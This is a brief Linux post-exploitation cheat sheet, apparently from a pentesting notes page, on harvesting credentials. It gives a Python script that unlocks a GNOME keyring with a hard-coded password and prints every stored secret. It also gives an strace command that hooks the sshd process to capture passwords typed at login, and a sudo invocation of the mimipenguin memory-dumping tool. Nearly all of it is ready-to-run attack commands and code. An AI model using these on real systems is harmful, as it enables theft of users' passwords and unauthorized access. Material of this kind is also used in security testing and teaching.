Linux

GNOME Keyrings

List keyrings:

$ python3 -c "import gnomekeyring as gk;print(gk.list_keyring_names_sync())"

Unlock keyring with password:

import gnomekeyring as gk

def list_keyring_items(keyring_name):
	print(f'*********{keyring_name}**********')
	gk.unlock_sync(keyring_name, 'Passw0rd!')
	item_keys = gk.list_item_ids_sync(keyring_name)
	for key in item_keys:
		item_info = gk.item_get_info_sync(keyring_name, key)
		print(f'Number: {key}')
		print(f'Name: {item_info.get_display_name()}')
		print(f'Password: {item_info.get_secret()}')

list_keyring_items('mykeyring')

SSH

$ sudo strace -f -p `service sshd status | grep PID | awk '{print $3}'` -e trace=write -o capture
$ grep '= 18$' capture

Tools

mimipenguin

$ sudo python3 mimipenguin.py

Last updated